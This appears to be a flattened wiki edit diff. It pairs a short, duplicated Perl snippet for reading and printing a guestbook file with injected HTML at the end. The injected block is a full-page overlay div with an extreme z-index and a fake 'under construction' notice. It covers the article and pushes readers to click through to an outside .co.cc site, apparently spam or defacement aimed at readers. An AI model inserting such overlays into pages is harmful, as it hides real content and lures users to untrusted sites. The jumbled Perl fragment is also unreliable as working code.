The following lines were added (+) and removed (-):
== Open a file to READ ==>== Open a file to READ == $strVariable = <BOBSFILE>; $strVariable = <BOBSFILE>; open (FILE,"$guestbk") || die "Can't Open $guestbk: $!\n"; open (FILE,"$guestbk") || die "Can't Open $guestbk: $!\n"; while( $line = <FILE> ){ while( $line = <FILE> ){ print "$lnum: $line\n"; print "$lnum: $line\n"; @eachline = <FILE>; @eachline = <FILE>; print "@eachline"; print "@eachline"; &nbsp; ----<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">----=[http://inaroregi.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=----=[http://inaroregi.co.cc CLICK HERE]=----</div>